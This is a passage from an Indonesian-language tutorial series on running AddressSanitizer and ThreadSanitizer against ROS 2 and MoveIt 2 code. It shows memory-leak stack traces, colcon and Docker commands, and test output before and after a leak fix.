#2 0x7f1475405e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
#3 0x7f14751e4b4a in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:66
#4 0x7f1472cda362 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
#5 0x7f1472cdcc4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*,
rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
#6 0x7f1472cdd0d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*,
rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
#7 0x7f14756a11eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
#8 0x7f14759669b5 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
#9 0x55d928637fdd in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody()
/opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
#10 0x55d9286f0105 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test,
void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#11 0x55d9286e2259 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*,
void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#12 0x55d92868ed41 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
#13 0x55d92869016c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
#14 0x55d928690d10 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
#15 0x55d9286abe21 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/
gtest_vendor/./src/gtest.cc:5216
#16 0x55d9286f2bb8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl,
bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
#17 0x55d9286e4522 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl,
bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
#18 0x55d9286a8bb5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
#19 0x55d92867c104 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
#20 0x55d92867c04a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
#21 0x7f1474449b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)"
Saat menelusuri ros2_asan_ws/log/latest_test, kita dapat menemukan laporan serupa di bawah rcl (dalam rcl/stdout_stderr.logfile):
14: Direct leak of 8 byte(s) in 1 object(s) allocated from:
14: #0 0x7f1475ca7d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
14: #1 0x7f14753f34d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
14: #2 0x7f1475405e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
14: #3 0x7f14751e4b4a in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:66
14: #4 0x7f1472cda362 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > > const&, rcutils_allocator_t*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:199
14: #5 0x7f1472cdcc4d in rmw_fastrtps_shared_cpp::__rmw_get_topic_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, std::function<LockedObject<TopicCache> const& (CustomParticipantInfo&)>&, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:349
14: #6 0x7f1472cdd0d4 in rmw_fastrtps_shared_cpp::__rmw_get_publisher_names_and_types_by_node(char const*, rmw_node_t const*, rcutils_allocator_t*, char const*, char const*, bool, rmw_names_and_types_t*) /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_shared_cpp/src/rmw_node_info_and_types.cpp:385
14: #7 0x7f14756a11eb in rmw_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rmw_fastrtps/rmw_fastrtps_cpp/src/rmw_node_info_and_types.cpp:53
14: #8 0x7f14759669b5 in rcl_get_publisher_names_and_types_by_node /opt/ros2_asan_ws/src/ros2/rcl/rcl/src/rcl/graph.c:60
14: #9 0x55d928637fdd in TestGraphFixture__rmw_fastrtps_cpp_test_rcl_get_publisher_names_and_types_by_node_Test::TestBody() /opt/ros2_asan_ws/src/ros2/rcl/rcl/test/rcl/test_graph.cpp:342
14: #10 0x55d9286f0105 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
14: #11 0x55d9286e2259 in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
14: #12 0x55d92868ed41 in testing::Test::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2522
14: #13 0x55d92869016c in testing::TestInfo::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2703
14: #14 0x55d928690d10 in testing::TestCase::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2825
14: #15 0x55d9286abe21 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:5216
14: #16 0x55d9286f2bb8 in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2447
14: #17 0x55d9286e4522 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:2483
14: #18 0x55d9286a8bb5 in testing::UnitTest::Run() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/./src/gtest.cc:4824
14: #19 0x55d92867c104 in RUN_ALL_TESTS() /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/include/gtest/gtest.h:2370
14: #20 0x55d92867c04a in main /opt/ros2_asan_ws/install-asan/gtest_vendor/src/gtest_vendor/src/gtest_main.cc:36
14: #21 0x7f1474449b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
yang berarti bahwa pengujian terkait yang memicu kebocoran memori ini ada di dalam build-asan/rcl. Meninjau tumpukan dan direktori, cukup mudah untuk menemukan bahwa itu test_graph__rmw_fastrtps_cppadalah pengujian yang memicu kesalahan ini https://gist.github.com/vmayoral/44214f6290a6647e606d716d8fe2ca68.
Menurut dokumentasi ASan [8]:
LSan juga membedakan antara kebocoran langsung dan tidak langsung dalam output-nya. Hal ini memberikan informasi yang berguna tentang kebocoran mana yang harus diprioritaskan, karena memperbaiki kebocoran langsung kemungkinan besar akan memperbaiki kebocoran tidak langsung juga.
yang memberi tahu kita di mana harus fokus terlebih dahulu. Kebocoran langsung dari laporan pertama ini adalah:
Direct leak of 56 byte(s) in 1 object(s) allocated from:
#0 0x7f4eaf189d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x7f4eae8d54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
#2 0x7f4eae6c6c7e in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:72
...
Dan
Direct leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x7f4eaf189d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x7f4eae8d54d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
#2 0x7f4eae8e7e77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
...
Keduanya sesuai dengan callocpanggilan di https://github.com/ros2/rcutils/blob/master/src/allocator.c#L56 namun dengan pemanggil yang berbeda: - https://github.com/ros2/rcutils/blob/master/src/string_array.c#L54 (1) - https://github.com/ros2/rmw/blob/master/rmw/src/names_and_types.c#L72 (2)
Laporan lengkap dengan semua bug yang ditemukan tersedia di sanitizer_report_ros2dashing_asan.csv .
Diskusi lebih lanjut tentang bug ini dan analisis dengan GDB tersedia di tutorial3 .
Mencari bug dan kerentanan dengan ThreadSanitizer (TSan)
Mirip dengan ASan, kita dapat menggunakan ThreadSanitizer:
docker build -t basic_cybersecurity_vulnerabilities1:latest .
docker run --privileged -it -v /tmp/log:/opt/ros2_moveit2_ws/log basic_cybersecurity_vulnerabilities1:latest /bin/bash
colcon test --build-base=build-tsan --install-base=install-tsan --event-handlers sanitizer_report+ --packages-up-to test_communication
Laporan lengkap dengan semua bug yang ditemukan tersedia di sanitizer_report_ros2dashing_tsan.csv .
Sumber daya
[1] https://arxiv.org/pdf/1806.04355.pdf
[2] https://discourse.ros.org/t/memperkenalkan-laporan-dan-analisis-pembersih-ros2/9287
[3] https://github.com/colcon/colcon-sanitizer-reports/blob/master/README.rst
[4] https://github.com/colcon/colcon-sanitizer-laporan
[5] https://github.com/ccache/ccache
[6] https://github.com/google/sanitizers/wiki/AddressSanitizer
[7] https://github.com/google/sanitizers/wiki/ThreadSanitizerCppManual
[8] https://github.com/google/sanitizers/wiki/AddressSanitizerLeakSanitizerVsHeapChecker
Robot pembersih di MoveIt 2
Dalam tutorial ini, kami akan menerapkan robot santizers pada kode rilis alpha moveit2 dan meninjau hasilnya. Tutorial ini dibuat berdasarkan tutorial1 , yang awalnya terinspirasi oleh [1].
Mencari bug dan kerentanan di MoveIt 2 dengan AddressSanitizer (ASan)
Kami akan melakukan dockerisasi proses untuk menyederhanakan reproduksi hasil. Mari kita kompilasi kode moveit2 dengan flag yang tepat untuk menemukan bug yang dinamis:
docker build -t basic_cybersecurity_vulnerabilities2:latest .
Dan sekarang, mari masuk ke dalam kontainer, luncurkan pengujian dan tinjau hasilnya:
docker run --privileged -it -v /tmp/log:/opt/ros2_moveit2_ws/log basic_cybersecurity_vulnerabilities2:latest /bin/bash
colcon test --build-base=build-asan --install-base=install-asan \
--event-handlers sanitizer_report+ --merge-install --packages-up-to moveit_core
CATATAN: Agar semuanya tetap sederhana, saya membatasi paket yang diulas hanya pada moveit_core dan dependensi intinya saja. Tinjauan lengkap yang mencakup semua paket moveit direkomendasikan jika Anda ingin menemukan semua bug .
Hasilnya dirangkum dalam sanitizer_report.csv(https://gist.github.com/vmayoral/25b3cff2c954b099eeb4d1471c1830e2). Sekilas pandang melalui log/direktori memberi kita intuisi tentang berbagai bug yang terdeteksi:
grep -R '==.*==ERROR: .*Sanitizer' log/latest_test | grep stdout_stderr
log/latest_test/octomap/stdout_stderr.log:1: ==36465==ERROR: LeakSanitizer: detected memory leaks
log/latest_test/octomap/stdout_stderr.log:12: ==36587==ERROR: LeakSanitizer: detected memory leaks
log/latest_test/octomap/stdout_stderr.log:13: ==36589==ERROR: LeakSanitizer: detected memory leaks
log/latest_test/geometric_shapes/stdout_stderr.log:2: ==36631==ERROR: LeakSanitizer: detected memory leaks
log/latest_test/geometric_shapes/stdout_stderr.log:3: ==36634==ERROR: LeakSanitizer: detected memory leaks
log/latest_test/moveit_core/stdout_stderr.log:13: ==36756==ERROR: LeakSanitizer: detected memory leaks
Menarik! Itu adalah sekumpulan kesalahan dalam jumlah kode yang cukup kecil. Mari kita lihat hubungan antar paket (sering kali kita ingin mulai memperbaiki bug pada paket dengan ketergantungan yang lebih sedikit sehingga proses pembersihan secara keseluruhan menjadi lebih mudah):
colcon list -g --packages-up-to moveit_core
[0.580s] WARNING:colcon.colcon_core.package_selection:the --packages-skip-regex ament.* doesnt match any of the package names
angles + *
eigen_stl_containers + **
joint_state_publisher + * .
libcurl_vendor + * ..
object_recognition_msgs + * .
octomap + **
octomap_msgs + * *
random_numbers + **
tf2_kdl + *
urdfdom_py + * .
moveit_msgs + *
moveit_resources + *
resource_retriever + *.
srdfdom + *
geometric_shapes +*
moveit_core +
Ini diterjemahkan sebagai berikut[2]:
# made with:
apt-get install ros-dashing-qt-dotgraph
colcon list --packages-up-to moveit_core --topological-graph-dot | dot -Tpng -o deps.png
Keduanya, geometric_shapesdan moveit_corebergantung pada beberapa paket lainnya, jadi seseorang mungkin akan memilih octomapuntuk memulai dan mencoba memperbaiki bug tersebut terlebih dahulu dengan menskalakannya ke paket lainnya.
Memperbaiki bug
Sesuai laporan asli, bug moveit_coreterkait yang terdeteksi oleh ASan tercantum di bawah ini:
13: ==36756==ERROR: LeakSanitizer: detected memory leaks
13:
13: Direct leak of 40 byte(s) in 1 object(s) allocated from:
13: #0 0x7fcbf6a7b458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
13: #1 0x7fcbf5d0c0fd in shapes::constructShapeFromText(std::istream&) /opt/ros2_moveit2_ws/src/geometric_shapes/src/shape_operations.cpp:505
13: #2 0x7fcbf6641561 in planning_scene::PlanningScene::loadGeometryFromStream(std::istream&, Eigen::Transform<double, 3, 1, 0> const&) /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/src/planning_scene.cpp:1077
13: #3 0x7fcbf6640336 in planning_scene::PlanningScene::loadGeometryFromStream(std::istream&) /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/src/planning_scene.cpp:1043
13: #4 0x562e70b1ea9d in PlanningScene_loadBadSceneGeometry_Test::TestBody() /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/test/test_planning_scene.cpp:223
13: #5 0x562e70ba7039 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2447
13: #6 0x562e70b9918d in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2483
13: #7 0x562e70b458b5 in testing::Test::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2522
13: #8 0x562e70b46ce0 in testing::TestInfo::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2703
13: #9 0x562e70b47884 in testing::TestCase::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2825
13: #10 0x562e70b62995 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:5216
13: #11 0x562e70ba9aec in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2447
13: #12 0x562e70b9b456 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2483
13: #13 0x562e70b5f729 in testing::UnitTest::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:4824
13: #14 0x562e70b20ba5 in RUN_ALL_TESTS() (/opt/ros2_moveit2_ws/build/moveit_core/planning_scene/test_planning_scene+0x55ba5)
13: #15 0x562e70b1f0be in main /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/test/test_planning_scene.cpp:229
13: #16 0x7fcbf3c66b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
13:
13: SUMMARY: AddressSanitizer: 40 byte(s) leaked in 1 allocation(s).
13: -- run_test.py: return code 1
13: -- run_test.py: inject classname prefix into gtest result file '/opt/ros2_moveit2_ws/build/moveit_core/test_results/moveit_core/test_planning_scene.gtest.xml'
13: -- run_test.py: verify result file '/opt/ros2_moveit2_ws/build/moveit_core/test_results/moveit_core/test_planning_scene.gtest.xml'
13/17 Test #13: test_planning_scene ..............***Failed 3.57 sec
Hal ini dapat dengan mudah direproduksi dengan meluncurkan file uji yang sesuai:
root@bf916bb1a977:/opt/ros2_moveit2_ws# source install/setup.bash
root@bf916bb1a977:/opt/ros2_moveit2_ws# build/moveit_core/planning_scene/test_planning_scene
[==========] Running 6 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 6 tests from PlanningScene
[ RUN ] PlanningScene.LoadRestore
[INFO] [robot_model]: Loading robot model 'pr2'...
[INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
[ OK ] PlanningScene.LoadRestore (796 ms)
[ RUN ] PlanningScene.LoadRestoreDiff
[INFO] [robot_model]: Loading robot model 'pr2'...
[INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
[ OK ] PlanningScene.LoadRestoreDiff (699 ms)
[ RUN ] PlanningScene.MakeAttachedDiff
[INFO] [robot_model]: Loading robot model 'pr2'...
[INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
[ OK ] PlanningScene.MakeAttachedDiff (697 ms)
[ RUN ] PlanningScene.isStateValid
[INFO] [robot_model]: Loading robot model 'pr2'...
[ OK ] PlanningScene.isStateValid (547 ms)
[ RUN ] PlanningScene.loadGoodSceneGeometry
[INFO] [robot_model]: Loading robot model 'pr2'...
[ OK ] PlanningScene.loadGoodSceneGeometry (437 ms)
[ RUN ] PlanningScene.loadBadSceneGeometry
[INFO] [robot_model]: Loading robot model 'pr2'...
[ERROR] [moveit.planning_scene]: Bad input stream when loading marker in scene geometry
[ERROR] [moveit.planning_scene]: Improperly formatted color in scene geometry file
[ OK ] PlanningScene.loadBadSceneGeometry (466 ms)
[----------] 6 tests from PlanningScene (3643 ms total)
[----------] Global test environment tear-down
[==========] 6 tests from 1 test case ran. (3645 ms total)
[ PASSED ] 6 tests.
=================================================================
==38461==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 40 byte(s) in 1 object(s) allocated from:
#0 0x7f9a7e0b7458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458)
#1 0x7f9a7d3480fd in shapes::constructShapeFromText(std::istream&) /opt/ros2_moveit2_ws/src/geometric_shapes/src/shape_operations.cpp:505
#2 0x7f9a7dc7d561 in planning_scene::PlanningScene::loadGeometryFromStream(std::istream&, Eigen::Transform<double, 3, 1, 0> const&) /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/src/planning_scene.cpp:1077
#3 0x7f9a7dc7c336 in planning_scene::PlanningScene::loadGeometryFromStream(std::istream&) /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/src/planning_scene.cpp:1043
#4 0x555a087ffa9d in PlanningScene_loadBadSceneGeometry_Test::TestBody() /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/test/test_planning_scene.cpp:223
#5 0x555a08888039 in void testing::internal::HandleSehExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2447
#6 0x555a0887a18d in void testing::internal::HandleExceptionsInMethodIfSupported<testing::Test, void>(testing::Test*, void (testing::Test::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2483
#7 0x555a088268b5 in testing::Test::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2522
#8 0x555a08827ce0 in testing::TestInfo::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2703
#9 0x555a08828884 in testing::TestCase::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2825
#10 0x555a08843995 in testing::internal::UnitTestImpl::RunAllTests() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:5216
#11 0x555a0888aaec in bool testing::internal::HandleSehExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2447
#12 0x555a0887c456 in bool testing::internal::HandleExceptionsInMethodIfSupported<testing::internal::UnitTestImpl, bool>(testing::internal::UnitTestImpl*, bool (testing::internal::UnitTestImpl::*)(), char const*) /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:2483
#13 0x555a08840729 in testing::UnitTest::Run() /opt/ros/dashing/src/gtest_vendor/./src/gtest.cc:4824
#14 0x555a08801ba5 in RUN_ALL_TESTS() (/opt/ros2_moveit2_ws/build/moveit_core/planning_scene/test_planning_scene+0x55ba5)
#15 0x555a088000be in main /opt/ros2_moveit2_ws/src/moveit2/moveit_core/planning_scene/test/test_planning_scene.cpp:229
#16 0x7f9a7b2a2b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: 40 byte(s) leaked in 1 allocation(s).
Bug tersebut telah diperbaiki oleh https://github.com/AcutronicRobotics/moveit2/pull/113. Setelah memperbaiki bug tersebut:
root@bf916bb1a977:/opt/ros2_moveit2_ws# build-asan/moveit_core/planning_scene/test_planning_scene
[==========] Running 6 tests from 1 test case.
[----------] Global test environment set-up.
[----------] 6 tests from PlanningScene
[ RUN ] PlanningScene.LoadRestore
[INFO] [robot_model]: Loading robot model 'pr2'...
[INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
[ OK ] PlanningScene.LoadRestore (601 ms)
[ RUN ] PlanningScene.LoadRestoreDiff
[INFO] [robot_model]: Loading robot model 'pr2'...
[INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
[ OK ] PlanningScene.LoadRestoreDiff (535 ms)
[ RUN ] PlanningScene.MakeAttachedDiff
[INFO] [robot_model]: Loading robot model 'pr2'...
[INFO] [robot_model]: No root/virtual joint specified in SRDF. Assuming fixed joint
[ OK ] PlanningScene.MakeAttachedDiff (526 ms)
[ RUN ] PlanningScene.isStateValid
[INFO] [robot_model]: Loading robot model 'pr2'...
[ OK ] PlanningScene.isStateValid (465 ms)
[ RUN ] PlanningScene.loadGoodSceneGeometry
[INFO] [robot_model]: Loading robot model 'pr2'...
[ OK ] PlanningScene.loadGoodSceneGeometry (431 ms)
[ RUN ] PlanningScene.loadBadSceneGeometry
[INFO] [robot_model]: Loading robot model 'pr2'...
[ERROR] [moveit.planning_scene]: Bad input stream when loading marker in scene geometry
[ERROR] [moveit.planning_scene]: Improperly formatted color in scene geometry file
[ OK ] PlanningScene.loadBadSceneGeometry (425 ms)
[----------] 6 tests from PlanningScene (2984 ms total)
[----------] Global test environment tear-down
[==========] 6 tests from 1 test case ran. (2985 ms total)
[ PASSED ] 6 tests.
Mencari bug dan kerentanan di MoveIt 2 dengan ThreadSanitizer (TSan)
Untuk menggunakan TSan [3] kita membangun kembali kontainer (menghapus komentar dan mengomentari bagian yang tepat) mengaksesnya dan meluncurkan pengujian secara manual:
docker build -t basic_cybersecurity_vulnerabilities2:latest .
docker run --privileged -it -v /tmp/log:/opt/ros2_moveit2_ws/log basic_cybersecurity_vulnerabilities2:latest /bin/bash
colcon test --build-base=build-tsan --install-base=install-tsan --event-handlers sanitizer_report+ --packages-up-to moveit_core --merge-install
Tidak ada masalah yang ditemukan saat menjalankan TSan (hingga moveit_core).
Sumber daya
[1] https://github.com/colcon/colcon-sanitizer-reports/blob/master/README.rst
[2] https://discourse.ros.org/t/menjelajahi-ketergantungan-paket/4719
[3] Panduan TSan Cpp https://github.com/google/sanitizers/wiki/ThreadSanitizerCppManual
Men-debug output pembersih robot dengan GDB, memburu dan memperbaiki bug
Artikel ini bertujuan untuk menjelaskan proses introspeksi kebocoran memori dengan menghubungkan debugger secara langsung dengan sanitizer-tests/binaries. Tutorial ini dibuat berdasarkan dua artikel sebelumnya, lihat tutorial1 dan tutorial2 .
Ambil bugnya
Mirip dengan [1]:
```bash
# Build the code with ASan
colcon build --build-base=build-asan --install-base=install-asan --cmake-args -DOSRF_TESTING_TOOLS_CPP_DISABLE_MEMORY_TOOLS=ON -DINSTALL_EXAMPLES=OFF -DSECURITY=ON --no-warn-unused-cli -DCMAKE_BUILD_TYPE=Debug --mixin asan-gcc --symlink-install
# Launch tests with ASan
colcon test --build-base=build-asan --install-base=install-asan --event-handlers sanitizer_report+
```
Seluruh rangkaian bug yang ditemukan telah ditangkap dan dibuang di file sanitizer_report_ros2dashing.csv .
Mendapatkan beberapa pemahaman tambahan
Mari kita pilih kerentanan pertama dan mulai menjelajahinya serta struktur kode dan hubungannya:
Kelemahan pertama: mendeteksi kebocoran memori di rcl
```bash
rcl,detected memory leaks,__default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56,4,"
#0 0x7f762845bd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x7f7627a484d6 in __default_zero_allocate /opt/ros2_asan_ws/src/ros2/rcutils/src/allocator.c:56
#2 0x7f7627a5ae77 in rcutils_string_array_init /opt/ros2_asan_ws/src/ros2/rcutils/src/string_array.c:54
#3 0x7f7627839b4a in rmw_names_and_types_init /opt/ros2_asan_ws/src/ros2/rmw/rmw/src/names_and_types.c:66
#4 0x7f7624cdf362 in rmw_fastrtps_shared_cpp::__copy_data_to_results(std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, std::set<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> 